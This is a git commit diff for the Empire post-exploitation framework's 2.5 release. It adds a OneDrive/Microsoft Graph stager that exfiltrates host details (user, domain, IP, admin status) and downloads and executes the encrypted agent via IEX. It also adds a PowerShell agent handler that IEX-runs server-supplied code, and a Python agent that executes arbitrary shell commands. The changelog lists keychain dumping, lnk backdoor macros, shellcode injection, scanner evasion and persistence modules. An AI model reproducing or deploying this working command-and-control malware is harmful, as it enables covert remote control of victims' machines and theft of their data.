commit
cfd3eafaf2
|
@ -1,16 +0,0 @@
|
||||||
version: 2
|
|
||||||
jobs:
|
|
||||||
build:
|
|
||||||
docker:
|
|
||||||
- image: circleci/python:2.7
|
|
||||||
steps:
|
|
||||||
- checkout
|
|
||||||
- run:
|
|
||||||
name: update apt
|
|
||||||
command: 'sudo apt-get update'
|
|
||||||
- run:
|
|
||||||
name: Run install.sh
|
|
||||||
command: 'cd setup/ && sudo -E -H ./install.sh'
|
|
||||||
- run:
|
|
||||||
name: Start Empire
|
|
||||||
command: 'sudo ./empire --headless &'
|
|
|
@ -44,15 +44,12 @@ RUN apt-get update && apt-get install -qy \
|
||||||
sudo \
|
sudo \
|
||||||
apt-utils \
|
apt-utils \
|
||||||
lsb-core \
|
lsb-core \
|
||||||
python2.7
|
python2.7 \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
# cleanup image
|
|
||||||
RUN apt-get -qy clean \
|
|
||||||
autoremove
|
|
||||||
|
|
||||||
# build empire from source
|
# build empire from source
|
||||||
# TODO: When we merge to master set branch to master
|
# TODO: When we merge to master set branch to master
|
||||||
RUN git clone -b dev https://github.com/EmpireProject/Empire.git /opt/Empire && \
|
RUN git clone --depth=1 -b dev https://github.com/EmpireProject/Empire.git /opt/Empire && \
|
||||||
cd /opt/Empire/setup/ && \
|
cd /opt/Empire/setup/ && \
|
||||||
./install.sh && \
|
./install.sh && \
|
||||||
rm -rf /opt/Empire/data/empire*
|
rm -rf /opt/Empire/data/empire*
|
||||||
|
|
35
changelog
35
changelog
|
@ -1,3 +1,38 @@
|
||||||
|
|
||||||
|
03/15/2018
|
||||||
|
------------
|
||||||
|
- Version 2.5 Master Release
|
||||||
|
- Patched launcher generation bug
|
||||||
|
- Added OSX Mic record module #893 (@s0lst1c3)
|
||||||
|
- More robust password handling in ssh_command and ssh_launcher modules (@retro-engineer)
|
||||||
|
- Updated server responses for http listener (@xorrior)
|
||||||
|
- Template search bug fix (@DakotaNelson)
|
||||||
|
- bug fix to properly assign taskIDs (@shakagoolu)
|
||||||
|
- Kali & powershell install fix (@SadProcessor)
|
||||||
|
- Overhaul events system to provide more descriptive messages and accurate logging of events (@DakotaNelson)
|
||||||
|
- Added macro that backdoors lnk files (@G0ldenGunSec)
|
||||||
|
- Bug fix for invoke_psexec module when using custom commands (@ThePirateWhoSmellsOfSunflowers)
|
||||||
|
- Added capability to generate a vs studio project file to generate a csharp launcher (@elitest)
|
||||||
|
- Added capability to enable/disable/delete listeners (@mr64bit)
|
||||||
|
- Added report generation (@bneg)
|
||||||
|
- Updated http_com listener to server IIS7 default page and added response headers to evade nessus scans (@s0lst1c3)
|
||||||
|
- Fixed script generation bug for all powerview modules (@xorrior)
|
||||||
|
- Modify the minidump module to allow for non-admin users to dump memory (@ThePirateWhoSmellsOfSunflowers)
|
||||||
|
- Removed background downloads feature for powershell agent
|
||||||
|
- Added linux persistence module via the ~/.config/autostart directory (@jarrodcoulter)
|
||||||
|
- Added download command to REST API (@shakagoolu)
|
||||||
|
- Added support for '&&' and ';' characters in shell commands for python agent (@cleb-sfdcsec)
|
||||||
|
- Added wireless network information to the osx/situational_awareness/host module. (@import-au)
|
||||||
|
- Added keychain dump module that uses the security utility (@import-au)
|
||||||
|
- Added shellcode stagers and the 'shinject' module (@xorrior, @monoxgas)
|
||||||
|
- Added a sleep and jitter parameter to the Invoke-Kerberoast module (@Retrospected)
|
||||||
|
- Added capability to update agent comms dynamically (@xorrior)
|
||||||
|
- Added onedrive listener for powershell agent (@mr64bit)
|
||||||
|
- Added opsec-safe aliases for ls, pwd, rm, mkdir, whoami, and getuid in the python agent
|
||||||
|
- Updated office macro stager for python agent (@import-au)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
01/04/2018
|
01/04/2018
|
||||||
------------
|
------------
|
||||||
- Version 2.4 Master Release
|
- Version 2.4 Master Release
|
||||||
|
|
|
@ -100,7 +100,8 @@ function Invoke-Empire {
|
||||||
$script:ResultIDs = @{}
|
$script:ResultIDs = @{}
|
||||||
$script:WorkingHours = $WorkingHours
|
$script:WorkingHours = $WorkingHours
|
||||||
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
|
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
|
||||||
$Script:Proxy = $ProxySettings
|
$script:Proxy = $ProxySettings
|
||||||
|
$script:CurrentListenerName = ""
|
||||||
|
|
||||||
# the currently active server
|
# the currently active server
|
||||||
$Script:ServerIndex = 0
|
$Script:ServerIndex = 0
|
||||||
|
@ -781,7 +782,7 @@ function Invoke-Empire {
|
||||||
$msg = "[!] Agent "+$script:SessionID+" exiting"
|
$msg = "[!] Agent "+$script:SessionID+" exiting"
|
||||||
# this is the only time we send a message out of the normal process,
|
# this is the only time we send a message out of the normal process,
|
||||||
# because we're exited immediately after
|
# because we're exited immediately after
|
||||||
Send-Message -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID)
|
(& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID))
|
||||||
exit
|
exit
|
||||||
}
|
}
|
||||||
# shell command
|
# shell command
|
||||||
|
@ -969,6 +970,27 @@ function Invoke-Empire {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
elseif($type -eq 130) {
|
||||||
|
#Dynamically update agent comms
|
||||||
|
|
||||||
|
try {
|
||||||
|
IEX $data
|
||||||
|
|
||||||
|
Encode-Packet -type $type -data ($CurrentListenerName) -ResultID $ResultID
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
|
||||||
|
Encode-Packet -type 0 -data ("Unable to update agent comm methods: $_") -ResultID $ResultID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
elseif($type -eq 131) {
|
||||||
|
# Update the listener name variable
|
||||||
|
$script:CurrentListenerName = $data
|
||||||
|
|
||||||
|
Encode-Packet -type $type -data ("Updated the CurrentListenerName to: $CurrentListenerName") -ResultID $ResultID
|
||||||
|
}
|
||||||
|
|
||||||
else{
|
else{
|
||||||
Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID
|
Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID
|
||||||
}
|
}
|
||||||
|
@ -1023,7 +1045,7 @@ function Invoke-Empire {
|
||||||
}
|
}
|
||||||
|
|
||||||
# send all the result packets back to the C2 server
|
# send all the result packets back to the C2 server
|
||||||
Send-Message -Packets $ResultPackets
|
(& $SendMessage -Packets $ResultPackets)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -1050,7 +1072,7 @@ function Invoke-Empire {
|
||||||
|
|
||||||
# send job results back if there are any
|
# send job results back if there are any
|
||||||
if ($Packets) {
|
if ($Packets) {
|
||||||
Send-Message -Packets $Packets
|
(& $SendMessage -Packets $Packets)
|
||||||
}
|
}
|
||||||
|
|
||||||
# send an exit status message and exit
|
# send an exit status message and exit
|
||||||
|
@ -1060,7 +1082,7 @@ function Invoke-Empire {
|
||||||
else {
|
else {
|
||||||
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
|
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
|
||||||
}
|
}
|
||||||
Send-Message -Packets $(Encode-Packet -type 2 -data $msg)
|
(& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg))
|
||||||
exit
|
exit
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1131,11 +1153,11 @@ function Invoke-Empire {
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($JobResults) {
|
if ($JobResults) {
|
||||||
Send-Message -Packets $JobResults
|
((& $SendMessage -Packets $JobResults))
|
||||||
}
|
}
|
||||||
|
|
||||||
# get the next task from the server
|
# get the next task from the server
|
||||||
$TaskData = Get-Task
|
$TaskData = (& $GetTask)
|
||||||
if ($TaskData) {
|
if ($TaskData) {
|
||||||
$script:MissedCheckins = 0
|
$script:MissedCheckins = 0
|
||||||
# did we get not get the default response
|
# did we get not get the default response
|
||||||
|
|
|
@ -16,6 +16,15 @@ import BaseHTTPServer
|
||||||
import zipfile
|
import zipfile
|
||||||
import io
|
import io
|
||||||
import imp
|
import imp
|
||||||
|
import marshal
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import pwd
|
||||||
|
import socket
|
||||||
|
import math
|
||||||
|
import stat
|
||||||
|
import grp
|
||||||
|
from stat import S_ISREG, ST_CTIME, ST_MODE
|
||||||
from os.path import expanduser
|
from os.path import expanduser
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
@ -40,6 +49,8 @@ jitter = 0.0
|
||||||
lostLimit = 60
|
lostLimit = 60
|
||||||
missedCheckins = 0
|
missedCheckins = 0
|
||||||
jobMessageBuffer = ''
|
jobMessageBuffer = ''
|
||||||
|
currentListenerName = ""
|
||||||
|
sendMsgFuncCode = ""
|
||||||
|
|
||||||
# killDate form -> "MO/DAY/YEAR"
|
# killDate form -> "MO/DAY/YEAR"
|
||||||
killDate = 'REPLACE_KILLDATE'
|
killDate = 'REPLACE_KILLDATE'
|
||||||
|
@ -202,7 +213,7 @@ def process_tasking(data):
|
||||||
if result:
|
if result:
|
||||||
resultPackets += result
|
resultPackets += result
|
||||||
|
|
||||||
packetOffset = 8 + length
|
packetOffset = 12 + length
|
||||||
|
|
||||||
while remainingData and remainingData != '':
|
while remainingData and remainingData != '':
|
||||||
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
|
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
|
||||||
|
@ -210,7 +221,7 @@ def process_tasking(data):
|
||||||
if result:
|
if result:
|
||||||
resultPackets += result
|
resultPackets += result
|
||||||
|
|
||||||
packetOffset += 8 + length
|
packetOffset += 12 + length
|
||||||
|
|
||||||
# send_message() is patched in from the listener module
|
# send_message() is patched in from the listener module
|
||||||
send_message(resultPackets)
|
send_message(resultPackets)
|
||||||
|
@ -255,10 +266,17 @@ def process_packet(packetType, data, resultID):
|
||||||
|
|
||||||
elif packetType == 40:
|
elif packetType == 40:
|
||||||
# run a command
|
# run a command
|
||||||
resultData = str(run_command(data))
|
parts = data.split(" ")
|
||||||
#Not sure why the line below is there.....
|
|
||||||
#e = build_response_packet(40, resultData, resultID)
|
if len(parts) == 1:
|
||||||
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
|
data = parts[0]
|
||||||
|
resultData = str(run_command(data))
|
||||||
|
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
|
||||||
|
else:
|
||||||
|
cmd = parts[0]
|
||||||
|
cmdargs = ' '.join(parts[1:len(parts)])
|
||||||
|
resultData = str(run_command(cmd, cmdargs=cmdargs))
|
||||||
|
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
|
||||||
|
|
||||||
elif packetType == 41:
|
elif packetType == 41:
|
||||||
# file download
|
# file download
|
||||||
|
@ -850,34 +868,98 @@ def data_webserver(data, ip, port, serveCount):
|
||||||
httpServer.server_close()
|
httpServer.server_close()
|
||||||
return
|
return
|
||||||
|
|
||||||
# additional implementation methods
|
def permissions_to_unix_name(st_mode):
|
||||||
def run_command(command):
|
permstr = ''
|
||||||
if "|" in command:
|
usertypes = ['USR', 'GRP', 'OTH']
|
||||||
command_parts = command.split('|')
|
for usertype in usertypes:
|
||||||
elif ">" in command or ">>" in command or "<" in command or "<<" in command:
|
perm_types = ['R', 'W', 'X']
|
||||||
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
for permtype in perm_types:
|
||||||
return ''.join(list(iter(p.stdout.readline, b'')))
|
perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
|
||||||
else:
|
if st_mode & perm:
|
||||||
command_parts = []
|
permstr += permtype.lower()
|
||||||
command_parts.append(command)
|
else:
|
||||||
i = 0
|
permstr += '-'
|
||||||
p = {}
|
return permstr
|
||||||
for command_part in command_parts:
|
|
||||||
command_part = command_part.strip()
|
|
||||||
if i == 0:
|
|
||||||
p[i]=subprocess.Popen(shlex.split(command_part),stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
||||||
else:
|
|
||||||
p[i]=subprocess.Popen(shlex.split(command_part),stdin=p[i-1].stdout, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
||||||
i = i +1
|
|
||||||
(output, err) = p[i-1].communicate()
|
|
||||||
exit_code = p[0].wait()
|
|
||||||
if exit_code != 0:
|
|
||||||
errorStr = "Shell Output: " + str(output) + '\n'
|
|
||||||
errorStr += "Shell Error: " + str(err) + '\n'
|
|
||||||
return errorStr
|
|
||||||
else:
|
|
||||||
return str(output)
|
|
||||||
|
|
||||||
|
def directory_listing(path):
|
||||||
|
# directory listings in python
|
||||||
|
# https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
|
||||||
|
|
||||||
|
res = ""
|
||||||
|
for fn in os.listdir(path):
|
||||||
|
fstat = os.stat(os.path.join(path, fn))
|
||||||
|
permstr = permissions_to_unix_name(fstat[0])
|
||||||
|
|
||||||
|
if os.path.isdir(fn):
|
||||||
|
permstr = "d{}".format(permstr)
|
||||||
|
else:
|
||||||
|
permstr = "-{}".format(permstr)
|
||||||
|
|
||||||
|
user = pwd.getpwuid(fstat.st_uid)[0]
|
||||||
|
group = grp.getgrgid(fstat.st_gid)[0]
|
||||||
|
|
||||||
|
# Convert file size to MB, KB or Bytes
|
||||||
|
if (fstat.st_size > 1024 * 1024):
|
||||||
|
fsize = math.ceil(fstat.st_size / (1024 * 1024))
|
||||||
|
unit = "MB"
|
||||||
|
elif (fstat.st_size > 1024):
|
||||||
|
fsize = math.ceil(fstat.st_size / 1024)
|
||||||
|
unit = "KB"
|
||||||
|
else:
|
||||||
|
fsize = fstat.st_size
|
||||||
|
unit = "B"
|
||||||
|
|
||||||
|
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
|
||||||
|
|
||||||
|
res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn)
|
||||||
|
|
||||||
|
return res
|
||||||
|
|
||||||
|
# additional implementation methods
|
||||||
|
def run_command(command, cmdargs=None):
|
||||||
|
|
||||||
|
if re.compile("(ls|dir)").match(command):
|
||||||
|
if cmdargs == None or not os.path.exists(cmdargs):
|
||||||
|
cmdargs = '.'
|
||||||
|
|
||||||
|
return directory_listing(cmdargs)
|
||||||
|
|
||||||
|
elif re.compile("pwd").match(command):
|
||||||
|
return str(os.getcwd())
|
||||||
|
elif re.compile("rm").match(command):
|
||||||
|
if cmdargs == None:
|
||||||
|
return "please provide a file or directory"
|
||||||
|
|
||||||
|
if os.path.exists(cmdargs):
|
||||||
|
if os.path.isfile(cmdargs):
|
||||||
|
os.remove(cmdargs)
|
||||||
|
return "done."
|
||||||
|
elif os.path.isdir(cmdargs):
|
||||||
|
shutil.rmtree(cmdargs)
|
||||||
|
return "done."
|
||||||
|
else:
|
||||||
|
return "unsupported file type"
|
||||||
|
else:
|
||||||
|
return "specified file/directory does not exist"
|
||||||
|
elif re.compile("mkdir").match(command):
|
||||||
|
if cmdargs == None:
|
||||||
|
return "please provide a directory"
|
||||||
|
|
||||||
|
os.mkdir(cmdargs)
|
||||||
|
return "Created directory: {}".format(cmdargs)
|
||||||
|
|
||||||
|
elif re.compile("(whoami|getuid)").match(command):
|
||||||
|
return pwd.getpwuid(os.getuid())[0]
|
||||||
|
|
||||||
|
elif re.compile("hostname").match(command):
|
||||||
|
return str(socket.gethostname())
|
||||||
|
|
||||||
|
else:
|
||||||
|
if cmdargs != None:
|
||||||
|
command = "{} {}".format(command,cmdargs)
|
||||||
|
|
||||||
|
p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
||||||
|
return p.communicate()[0].strip()
|
||||||
|
|
||||||
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
|
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,222 @@
|
||||||
|
function Start-Negotiate {
|
||||||
|
param($T,$SK,$PI=5,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
|
||||||
|
|
||||||
|
function ConvertTo-RC4ByteStream {
|
||||||
|
Param ($RCK, $In)
|
||||||
|
begin {
|
||||||
|
[Byte[]] $S = 0..255;
|
||||||
|
$J = 0;
|
||||||
|
0..255 | ForEach-Object {
|
||||||
|
$J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
|
||||||
|
$S[$_], $S[$J] = $S[$J], $S[$_];
|
||||||
|
};
|
||||||
|
$I = $J = 0;
|
||||||
|
}
|
||||||
|
process {
|
||||||
|
ForEach($Byte in $In) {
|
||||||
|
$I = ($I + 1) % 256;
|
||||||
|
$J = ($J + $S[$I]) % 256;
|
||||||
|
$S[$I], $S[$J] = $S[$J], $S[$I];
|
||||||
|
$Byte -bxor $S[($S[$I] + $S[$J]) % 256];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Decrypt-Bytes {
|
||||||
|
param ($Key, $In)
|
||||||
|
if($In.Length -gt 32) {
|
||||||
|
$HMAC = New-Object System.Security.Cryptography.HMACSHA256;
|
||||||
|
$e=[System.Text.Encoding]::ASCII;
|
||||||
|
# Verify the HMAC
|
||||||
|
$Mac = $In[-10..-1];
|
||||||
|
$In = $In[0..($In.length - 11)];
|
||||||
|
$hmac.Key = $e.GetBytes($Key);
|
||||||
|
$Expected = $hmac.ComputeHash($In)[0..9];
|
||||||
|
if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# extract the IV
|
||||||
|
$IV = $In[0..15];
|
||||||
|
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
||||||
|
$AES.Mode = "CBC";
|
||||||
|
$AES.Key = $e.GetBytes($Key);
|
||||||
|
$AES.IV = $IV;
|
||||||
|
($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# make sure the appropriate assemblies are loaded
|
||||||
|
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
|
||||||
|
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
|
||||||
|
|
||||||
|
# try to ignore all errors
|
||||||
|
$ErrorActionPreference = "SilentlyContinue";
|
||||||
|
$e=[System.Text.Encoding]::ASCII;
|
||||||
|
|
||||||
|
$SKB=$e.GetBytes($SK);
|
||||||
|
# set up the AES/HMAC crypto
|
||||||
|
# $SK -> staging key for this server
|
||||||
|
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
||||||
|
$IV = [byte] 0..255 | Get-Random -count 16;
|
||||||
|
$AES.Mode="CBC";
|
||||||
|
$AES.Key=$SKB;
|
||||||
|
$AES.IV = $IV;
|
||||||
|
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACSHA256;
|
||||||
|
$hmac.Key = $SKB;
|
||||||
|
|
||||||
|
$csp = New-Object System.Security.Cryptography.CspParameters;
|
||||||
|
$csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
|
||||||
|
$rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
|
||||||
|
# export the public key in the only format possible...stupid
|
||||||
|
$rk=$rs.ToXmlString($False);
|
||||||
|
|
||||||
|
# generate a randomized sessionID of 8 characters
|
||||||
|
$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);
|
||||||
|
|
||||||
|
# build the packet of (xml_key)
|
||||||
|
$ib=$e.getbytes($rk);
|
||||||
|
|
||||||
|
# encrypt/HMAC the packet for the c2 server
|
||||||
|
$eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
|
||||||
|
$eb=$eb+$hmac.ComputeHash($eb)[0..9];
|
||||||
|
|
||||||
|
# if the web client doesn't exist, create a new web client and set appropriate options
|
||||||
|
# this only happens if this stager.ps1 code is NOT called from a launcher context
|
||||||
|
if(-not $wc) {
|
||||||
|
$wc=New-Object System.Net.WebClient;
|
||||||
|
# set the proxy settings for the WC to be the default system settings
|
||||||
|
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
|
||||||
|
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Script:Proxy) {
|
||||||
|
$wc.Proxy = $Script:Proxy;
|
||||||
|
}
|
||||||
|
|
||||||
|
# RC4 routing packet:
|
||||||
|
# sessionID = $ID
|
||||||
|
# language = POWERSHELL (1)
|
||||||
|
# meta = STAGE1 (2)
|
||||||
|
# extra = (0x00, 0x00)
|
||||||
|
# length = len($eb)
|
||||||
|
$IV=[BitConverter]::GetBytes($(Get-Random));
|
||||||
|
$data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length);
|
||||||
|
$rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data;
|
||||||
|
$rc4p = $IV + $rc4p + $eb;
|
||||||
|
|
||||||
|
# the User-Agent always resets for multiple calls...silly
|
||||||
|
$wc.Headers.Set("User-Agent",$UA);
|
||||||
|
$wc.Headers.Set("Authorization", "Bearer $T");
|
||||||
|
$wc.Headers.Set("Content-Type", "application/octet-stream");
|
||||||
|
# step 3 of negotiation -> client posts AESstaging(PublicKey) to the server
|
||||||
|
$Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_1.txt:/content", "put", $rc4p);
|
||||||
|
|
||||||
|
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
|
||||||
|
Start-Sleep -Seconds $(($PI -as [Int])*2);
|
||||||
|
$wc.Headers.Set("User-Agent",$UA);
|
||||||
|
$wc.Headers.Set("Authorization", "Bearer $T");
|
||||||
|
Do{try{
|
||||||
|
$raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt:/content");
|
||||||
|
}catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null);
|
||||||
|
|
||||||
|
$wc.Headers.Set("User-Agent",$UA);
|
||||||
|
$wc.Headers.Set("Authorization", "Bearer $T");
|
||||||
|
$null=$wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt", "DELETE", "");
|
||||||
|
|
||||||
|
$de=$e.GetString($rs.decrypt($raw,$false));
|
||||||
|
# packet = server nonce + AES session key
|
||||||
|
$nonce=$de[0..15] -join '';
|
||||||
|
$key=$de[16..$de.length] -join '';
|
||||||
|
|
||||||
|
# increment the nonce
|
||||||
|
$nonce=[String]([long]$nonce + 1);
|
||||||
|
|
||||||
|
# create a new AES object
|
||||||
|
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
||||||
|
$IV = [byte] 0..255 | Get-Random -Count 16;
|
||||||
|
$AES.Mode="CBC";
|
||||||
|
$AES.Key=$e.GetBytes($key);
|
||||||
|
$AES.IV = $IV;
|
||||||
|
|
||||||
|
# get some basic system information
|
||||||
|
$i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
|
||||||
|
$p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
|
||||||
|
|
||||||
|
# check if the IP is a string or the [IPv4,IPv6] array
|
||||||
|
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
|
||||||
|
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
|
||||||
|
$i+="|$ip";
|
||||||
|
|
||||||
|
$i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
|
||||||
|
|
||||||
|
# detect if we're SYSTEM or otherwise high-integrity
|
||||||
|
if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}
|
||||||
|
else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}
|
||||||
|
|
||||||
|
# get the current process name and ID
|
||||||
|
$n=[System.Diagnostics.Process]::GetCurrentProcess();
|
||||||
|
$i+='|'+$n.ProcessName+'|'+$n.Id;
|
||||||
|
# get the powershell.exe version
|
||||||
|
$i += "|powershell|" + $PSVersionTable.PSVersion.Major;
|
||||||
|
|
||||||
|
# send back the initial system information
|
||||||
|
$ib2=$e.getbytes($i);
|
||||||
|
$eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);
|
||||||
|
$hmac.Key = $e.GetBytes($key);
|
||||||
|
$eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9];
|
||||||
|
|
||||||
|
# RC4 routing packet:
|
||||||
|
# sessionID = $ID
|
||||||
|
# language = POWERSHELL (1)
|
||||||
|
# meta = STAGE2 (3)
|
||||||
|
# extra = (0x00, 0x00)
|
||||||
|
# length = len($eb)
|
||||||
|
$IV2=[BitConverter]::GetBytes($(Get-Random));
|
||||||
|
$data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length);
|
||||||
|
$rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2;
|
||||||
|
$rc4p2 = $IV2 + $rc4p2 + $eb2;
|
||||||
|
|
||||||
|
# the User-Agent always resets for multiple calls...silly
|
||||||
|
Start-Sleep -Seconds $(($PI -as [Int])*2);
|
||||||
|
$wc.Headers.Set("User-Agent",$UA);
|
||||||
|
$wc.Headers.Set("Authorization", "Bearer $T");
|
||||||
|
$wc.Headers.Set("Content-Type", "application/octet-stream");
|
||||||
|
|
||||||
|
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
|
||||||
|
$Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_3.txt:/content", "PUT", $rc4p2);
|
||||||
|
|
||||||
|
Start-Sleep -Seconds $(($PI -as [Int])*2);
|
||||||
|
$wc.Headers.Set("User-Agent",$UA);
|
||||||
|
$wc.Headers.Set("Authorization", "Bearer $T");
|
||||||
|
$raw=$null;
|
||||||
|
do{try{
|
||||||
|
$raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt:/content");
|
||||||
|
}catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null);
|
||||||
|
|
||||||
|
Start-Sleep -Seconds $($PI -as [Int]);
|
||||||
|
$wc2=New-Object System.Net.WebClient;
|
||||||
|
$wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
|
||||||
|
$wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
|
||||||
|
if($Script:Proxy) {
|
||||||
|
$wc2.Proxy = $Script:Proxy;
|
||||||
|
}
|
||||||
|
|
||||||
|
$wc2.Headers.Add("User-Agent",$UA);
|
||||||
|
$wc2.Headers.Add("Authorization", "Bearer $T");
|
||||||
|
$wc2.Headers.Add("Content-Type", " application/json");
|
||||||
|
$Null=$wc2.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt", "DELETE", "");
|
||||||
|
|
||||||
|
# decrypt the agent and register the agent logic
|
||||||
|
IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) );
|
||||||
|
|
||||||
|
# clear some variables out of memory and cleanup before execution
|
||||||
|
$AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null;
|
||||||
|
[GC]::Collect();
|
||||||
|
|
||||||
|
# TODO: remove this shitty $server logic
|
||||||
|
Invoke-Empire -Servers @('NONE') -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "REPLACE_WORKING_HOURS" -ProxySettings $Script:Proxy;
|
||||||
|
}
|
||||||
|
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
|
||||||
|
Start-Negotiate -T "REPLACE_TOKEN" -PI "REPLACE_POLLING_INTERVAL" -SK "REPLACE_STAGING_KEY" -UA $u;
|
|
@ -0,0 +1,18 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||||
|
# Visual Studio 2010
|
||||||
|
# SharpDevelop 4.4
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cmd", "cmd\cmd.csproj", "{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{6DC4D341-0ADB-45A2-BF10-EF7B7E93A157}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
